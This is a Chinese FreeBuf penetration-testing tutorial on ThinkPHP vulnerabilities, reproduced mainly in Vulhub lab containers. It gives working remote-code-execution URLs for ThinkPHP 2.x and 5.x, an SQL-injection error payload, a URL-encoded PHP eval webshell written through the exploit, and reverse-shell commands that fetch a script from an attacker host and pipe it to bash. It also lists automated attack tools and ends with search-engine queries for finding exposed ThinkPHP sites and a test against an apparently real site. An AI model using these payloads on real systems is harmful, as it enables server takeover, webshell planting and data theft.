freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

渗透测试之地基服务篇:服务攻防之框架Thinkphp(总)
大余 2022-01-03 23:01:05 289467
所属地 江西省

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

服务框架是指某领域一类服务的可复用设计与不完整的实现,与软件框架不同的是,服务框架同时体现着面向服务,一个服务框架可以分为两个主要部分:服务引擎、引入的外部服务。

ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。可想而知框架连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,框架的安全稳定运行也直接决定着业务系统能否正常使用。如果框架被远程代码执行攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

今天会讲解到学习Thinkphp简介、Thinkphp安装、Thinkphp任意代码执行分析、Thinkphp远程代码执行漏洞、Thinkphp自动化武器攻击等等操作,如果连Thinkphp都不会安装操作提权等,怎么拿下对方服务器?

二、Thinkphp简介

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可在Windows和Linux等操作系统运行,支持MySql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架,这个框架曾经爆出各种RCE和SQL注入漏洞。我们将带来ThinkPHP各个版本的漏洞分析文章。

三、Thinkphp本地安装

1、官网下载

1641222118_61d30fe6542effdac480f.png!small?1641222119229

http://www.thinkphp.cn/down.html

2、本地搭建Thinkphp

1)安装vc9_x86(必装)
1641259530_61d3a20a5c8b356c7da06.png!small?1641259530706

2)安装phpStudy20161103
1641259537_61d3a2118d98e7982052d.png!small?1641259537854

3)开启php
1641259546_61d3a21a87e16244592be.png!small?1641259552480

4)将下载到的thinkphp.x解压,可以得到下图中的内容,把所有文件复制到网站的根目录,也就是之前设置中那个WWW\web的文件夹内:
1641259550_61d3a21e1de7451995c99.png!small?1641259560906

5)输入域名,这里是本地,可以输入127.0.0.1或者localhost或者本地IP都行,网站目录可以是你硬盘上的任何文件夹,默认文职是phpstudy安装目录下的WWW/web文件夹,点击新增后再点击保存设置并生成配置文件即可:

1641259558_61d3a2268e9f517380370.png!small?1641259561045

1641259559_61d3a227d121f5f69a1dc.png!small?1641259561045

6)下面来修改一下站点的运行目录,由于thinkPHP的入口是在public下,所以这里需要修改一下,点击”其他设置“->打开配置文件->vhosts-conf:
1641259565_61d3a22d730051f7541ff.png!small?1641259566180

7)配置文件会以一个文本文件的方式打开,你会看到documentroot和directory的路径是一样的,只需要在documentroot后面加上\public就可以了,点击保存:

1641259577_61d3a239653d5ce23a3a2.png!small?16412595816381641259576_61d3a2389f68eddb94a08.png!small?1641259581638

8)远程访问测试
1641259580_61d3a23c1deae5ff77ee6.png!small?1641259581638

成功搭建!

四、Thinkphp本地复现

1)验证POC:

http://192.168.253.107/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

1641259611_61d3a25b3f6785615eccb.png!small?1641259614741

2)写入一句话:

http://192.168.253.7:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%64%61%79%75%5d%29%3b%3f%3e

1641259614_61d3a25e54807377ff399.png!small?1641259614741

3)成功写入一句话:
1641259618_61d3a262aecfbbdbd03fa.png!small?1641259619195

4)蚁剑上线:
1641259624_61d3a268b2fe8a01ff2d7.png!small?16412596250461641259632_61d3a2706c15e09959a66.png!small?1641259633848

五、Vulhub-Thinkphp复现

1、ThinkPHP 2.x 任意代码执行漏洞

1)漏洞简介

(1)漏洞原理:

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

(2)影响版本:

ThinkPHP 2.x

2)漏洞原理详解

由于是preg_replace这个函数引起的漏洞,所以先来看看preg_replace这个函数,这个函数是个替换函数,而且支持正则,使用方式如下:

preg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

下面是搜索到的关于/e的解释:

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

本地测试直接使用下面这行代码测试即可,可使用在线PHP沙箱来测试。

沙箱地址:

http://sandbox.onlinephpfunctions.com/

1641259654_61d3a28615e48cea8e77a.png!small?1641259654454

<?php
@preg_replace('/test/e','print_r("dayu");','just test');

1641259659_61d3a28b3f8375e711852.png!small?1641259659551

这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了!

3)漏洞启动

(1)开启ThinkPHP 2.x 任意代码执行漏洞
1641259671_61d3a297f3b46e2f68f38.png!small?1641259689495

sudo docker-compose up -d

(2)验证是否开启
1641259673_61d3a299528e55c8cb080.png!small?1641259689495

sudo docker ps

3)代码审计-底层分析思路详解

(1)进入docker内分析代码1641259684_61d3a2a43df70f109002e.png!small?1641259711749

sudo docker ps
sudo docker exec -ti cb501aa8dbe7 bash
find . -name '*.php' | xargs grep -n 'preg_replace'

(2)发现存在preg_replace函数的脚本:
1641259695_61d3a2af213cc0dd2ee51.png!small?1641259720999

./ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php
./ThinkPHP/Mode/Lite/Dispatcher.class.php
./ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php
./ThinkPHP/Lib/Think/Template/TagLib.class.php
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php
./ThinkPHP/Common/extend.php
./ThinkPHP/Common/functions.php

(3)存在/e修饰符的脚本
1641259814_61d3a326e5d9b8956d2e7.png!small?1641259831249

./ThinkPHP/Mode/Lite/Dispatcher.class.php:115:            $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,\/]+)@e', '$pathInfo[\'\\1\']="\\2";', $_SERVER['PATH_INFO']);

./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57:                $rule  = preg_replace('/{\$(_\w+)\.(\w+)\|(\w+)}/e',"\\3(\$\\1['\\2'])",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:58:                $rule  = preg_replace('/{\$(_\w+)\.(\w+)}/e',"\$\\1['\\2']",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:60:                $rule  = preg_replace('/{(\w+)\|(\w+)}/e',"\\2(\$_GET['\\1'])",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:61:                $rule  = preg_replace('/{(\w+)}/e',"\$_GET['\\1']",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:68:                $rule  = preg_replace('/{|(\w+)}/e',"\\1()",$rule);

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:224:                    $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:239:                    $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', str_replace($matches[0],'',$regx));

./ThinkPHP/Common/extend.php:215:        $str = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);

./ThinkPHP/Common/functions.php:145:        return ucfirst(preg_replace("/_([a-zA-Z])/e", "strtoupper('\\1')", $name));

有以上这些都存在/e修饰符的脚本!!

(4)根据漏洞描述,有漏洞的代码位置在:
1641259731_61d3a2d37116ffa08fec4.png!small?1641259753312

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

根据代码注释,了解到这个是thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。所以有必要了解一下thinkphp的关于这块功能的使用。

(5)thinkphp 应该也是MVC框架,所有的请求都是根据路由来决定的。而Dispatcher.class.php就是规定如何来解析路由的这样一个类。

类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo()  获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称


4)漏洞复现

(1)访问靶机:
1641259711_61d3a2bf0bc9023027a76.png!small?1641259720999

http://192.168.253.7:8080/

(2)验证漏洞是否存在

index.php?s=/index/index/name/${@phpinfo()}

直接访问:

http://192.168.253.7:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

1641259725_61d3a2cd3912ad823fd4e.png!small?1641259746061

即可执行phpinfo():

(3)构造poc

http://192.168.253.7:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

1641259744_61d3a2e0120c440a2b934.png!small?1641259774626

1641259747_61d3a2e3bfdf7557ac263.png!small?1641259774626

(4)反弹shell
准备:

bash -i >& /dev/tcp/192.168.253.27/8888 0>&1
python -m SimpleHTTPServer 80

1641259751_61d3a2e762b2ede22672b.png!small?1641259774626

创建好bash和开启python http模式!

1=system("curl 192.168.253.27/shell.sh | bash");

1641259759_61d3a2ef41336cdfb3293.png!small?1641259774624

1641259763_61d3a2f3326e5fd10d08d.png!small?1641259774625

成功上线!!

(5)直接菜刀连接的payload:

http://192.168.253.7:8080//index.php?s=a/b/c/${@print(eval($_POST[1]))}

1641259764_61d3a2f4487789ed6af01.png!small?1641259774625

1641259769_61d3a2f90329df57e157a.png!small?1641259774625

正常交互连接!

2、Thinkphp5-5.0.22 / 5.1.29远程执行代码漏洞

1)漏洞简介

(1)漏洞原理:

ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。

2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞。

(2)影响版本:

5.0.22 / 5.1.29

2)漏洞启动

(1)开启5.0.22漏洞
1641259779_61d3a30341e659e006f42.png!small?1641259809912

sudo docker-compose up -d

(2)验证是否开启
1641259781_61d3a305e9083e676b6ae.png!small?1641259799706

sudo docker ps

3)漏洞复现

(1)访问靶机:
1641259785_61d3a309ed81506181c3b.png!small?1641259809913

http://192.168.253.7:8080/

(2)payload判断是否存在远程代码执行漏洞

1641259796_61d3a314115a172b73ce2.png!small?1641259828269

http://192.168.253.7:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

(3)任意代码执行

1641259795_61d3a3132f491adbdc0a2.png!small?1641259809911

http://192.168.253.7:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

(4)写入webshell

http://192.168.253.7:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

<?php eval($_POST[dayu]);?>

1641259800_61d3a318765e7d30a06f7.png!small?1641259809912

http://192.168.253.7:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%64%61%79%75%5d%29%3b%3f%3e

1641259807_61d3a31f6637fffebdd6f.png!small?1641259828269

1641259811_61d3a3236a9f58037a874.png!small?1641259828264
1641259813_61d3a325da16bf02acf22.png!small?1641259828266
成功上线!!

3、ThinkPHP5 5.0.23远程执行代码漏洞

1)漏洞简介

(1)漏洞原理:

ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.0.24)中,框架在获取请求方法时会错误地对其进行处理,就是在获取method的方法中没有正确处理方法名,这使攻击者可以调用Request类的任何方法,攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

(2)影响版本:

Thinkphp 5.0.0~ 5.0.23

2)漏洞启动

(1)开启5.0.23漏洞
1641259821_61d3a32d138a651af42d3.png!small?1641259828268

sudo docker-compose up -d

(2)验证是否开启
1641259826_61d3a3322b5f60ac7ec74.png!small?1641259831250

sudo docker ps

3)漏洞复现

(1)访问靶机:

1641259829_61d3a335cd67166deb740.png!small?1641259831250

http://192.168.253.7:8080/

(2)验证漏洞是否存在

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.253.7:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

1641259838_61d3a33ed8882704016d2.png!small?1641259847082

(3)反弹shell

python -m SimpleHTTPServer 80
nc -vlp 8888
curl 192.168.253.27/shell.sh | bash

1641259843_61d3a343eb73534e888fe.png!small?1641259847083

获得反弹shell!

2、ThinkPHP5 SQL注入漏洞和敏感信息泄露漏洞

1)漏洞简介

(1)漏洞原理:

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

(2)影响版本:

ThinkPHP < 5.1.23

2)源码分析

漏洞代码分析:

<?php
namespace app\index\controller;
use app\index\model\User;
class Index{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();
}
}

由上述代码可知,这里用助手函数input定义了参数ids的类型是数组。

protected function parseMhere ($where, $options)
{
	$whereStr =
	$this -> buildWhere($where, $options);
	if (! empty($options['soft_delete '])) {
		list ($field, $condition) = $options['soft_delete'];
		$binds = $this -> query ->getF ieldsBind($optlons);
		$whereStr = $whereStr ? '(' .$whereStr . ') AND ' : ' ';
		$whereStr = $whereStr. $this -> parseWhereIten($field, $condition, ' ', $options, $binds);
	}
	return empty($wherestr) ? ' ' : ' WHERE ' . $uhereStr;
}

接着去找where(‘id’, ‘in’, $ids)定义的内容,找到了最核心的方法buildWhere 和 parseWhereItem!
接着找到定义’in’的位置!

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {
    // 处理带非单词字符的字段名
    $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) {
    // IN 查询
    if ($value instanceof \Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }

这段代码当引入了in 或者 not in的时候遍历value的key和value。而key在绑定编译指令的时候又没有安全处理,所以导致了在预编译的时候SQL异常。

sudo docker ps
sudo docker exec -ti cb501aa8dbe7 bash
find . -name '*.php' | xargs grep -n 'key'

3)漏洞启动

这里乌班图有问题无法启动,转换到kali上!

(1)开启ThinkPHP5 SQL注入漏洞
1641259857_61d3a3510a1cc37a96f7d.png!small?16412598686581641259862_61d3a35683cefd83e3486.png!small?1641259868658

systemctl start docker
sudo docker-compose up -d

(2)验证是否开启
1641259867_61d3a35b9d85a4fc98932.png!small?1641259868659

sudo docker ps

3)漏洞复现

(1)访问靶机:
1641259869_61d3a35da20280e0c0446.png!small?1641259869902

http://192.168.253.9/

(2)验证漏洞是否存在

访问以下URL,如果看到显示的用户名,表明环境已成功运行:

http://192.168.253.9/index.php?ids[]=1&ids[]=2

1641259873_61d3a361ba11d0a554a28.png!small?1641259874401

运行成功!

(3)构造poc,填到password框:

打开页面:

http://192.168.253.9/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

发现成功显示的消息:
1641259883_61d3a36b4057a28e7064d.png!small?1641259892598

枚举到mysql数据库用户名密码!

六、Thinkphp自动化武器

1、Thinkphp综合利用工具

1641259888_61d3a370ad21a1ded3463.png!small?1641259901201

1641259890_61d3a3720146ace2c5766.png!small?1641259892598

1641259896_61d3a378ca2acb3eae2e8.png!small?1641259902360

2、thinkPHPBatchPoc群扫

1641259897_61d3a379d70ccd8673cb1.png!small?1641259901200

1641259901_61d3a37de62da89a591cd.png!small?1641259902361

1641259905_61d3a381a17b8324e6395.png!small?1641259906135

3、TPscan

1)本地windows-Thinkphp5.0.22
1641259910_61d3a386d2fac8355651c.png!small?1641259912037

2)本地LINUX-Thinkphp攻击
1641259915_61d3a38bae71c6d5be76a.png!small?1641259917472

4、AttackWebFrameworkTools

项目地址:
https://github.com/Anonymous-ghost/AttackWebFrameworkTools

网站攻击框架必须安装.net framework 4.5以及以上版本!!!
1641259920_61d3a3902b164a12a4b74.png!small?1641259920625

1641259927_61d3a3970ea634668c3f3.png!small?1641259930183

1641259929_61d3a399d2be55b8bd5cf.png!small?1641259930183

1641259933_61d3a39d50230eb6886eb.png!small?1641259933651

在相对应的脚本中填入对应信息即可!!

1641259954_61d3a3b2be07386b0ad50.png!small?1641259956294可看到成功扫描Thinkphp漏洞情况!

5、Thinkphp攻击武器

1641259972_61d3a3c4a1463f348e2da.png!small?1641259973188

七、实战Thinkphp攻击

1、搜索大法

header="thinkphp"

拓展:

1、title="后台管理" 搜索页面标题中含有“后台管理”关键词的网站和IP

2、header="thinkphp" 搜索HTTP响应头中含有“thinkphp”关键词的网站和IP

3、body="管理后台" 搜索html正文中含有“管理后台”关键词的网站和IP

4、body="Welcome to Burp Suite" 搜索公网上的BurpSuite代理

5、domain="itellyou.cn" 搜索根域名中带有“itellyou.cn”的网站

6、host="login" 搜索域名中带有"login"关键词的网站

7、port="3388" && country=CN 搜索开放3388端口并且位于中国的IP

8、ip="120.27.6.1/24" 搜索指定IP或IP段

9、cert="phpinfo.me" 搜索证书(如https证书、imaps证书等)中含有"phpinfo.me"关键词的网站和IP

10、ports="3306,443,22" 搜索同时开启3306端口、443端口和22端口的IP

11、ports=="3306,443,22" 搜索只开启3306端口、443端口和22端口的IP

2、实战测试

1641259986_61d3a3d2894698743a60e.png!small?1641259991439


存在日志泄露:
1641259990_61d3a3d6d9f72615f1d98.png!small?1641259991440

使用whatweb查看网站信息:发现是ThinkPHP框架:
1641260030_61d3a3fe93e3f9ad44c09.png!small?1641260031625

八、总结

今天学到认知Thinkphp简介、Thinkphp安装、Thinkphp任意代码执行分析、Thinkphp远程代码执行漏洞、Thinkphp自动化武器攻击等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!

服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(下)-> 服务攻防之中间件GlassFish(总)-> 服务攻防之中间件WebSphere(总)-> 服务攻防之框架Struts2(上)-> 服务攻防之框架Struts2(下)-> 服务攻防之框架Thinkphp(总)-> 服务攻防之框架Shiro(总)......

接下来在《服务攻防之框架Shiro(总)》会接触到Shiro简介、本地搭建Shiro、Linux环境Shiro渗透总结、Windows环境Shiro渗透总结、Shiro自动化武器、CVE-2020-11989:Apache Shiro权限绕过复现、Apache Shiro 认证绕过漏洞(CVE-2020-1957)等等渗透操作,如何提权渗透等方法,请看下篇服务攻防之框架Shiro篇下章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# ThinkPHP
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 大余 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
大余 LV.5
没有网络安全就没有国家安全,VXID:dayuST
  • 91 文章数
  • 1076 关注者
大余每日一攻防EvilBox
2023-12-27
大余每日一攻防SNAKEOIL(十七)
2023-12-26
大余每日一攻防DEATHNOTE-1(十六)
2023-12-25
文章目录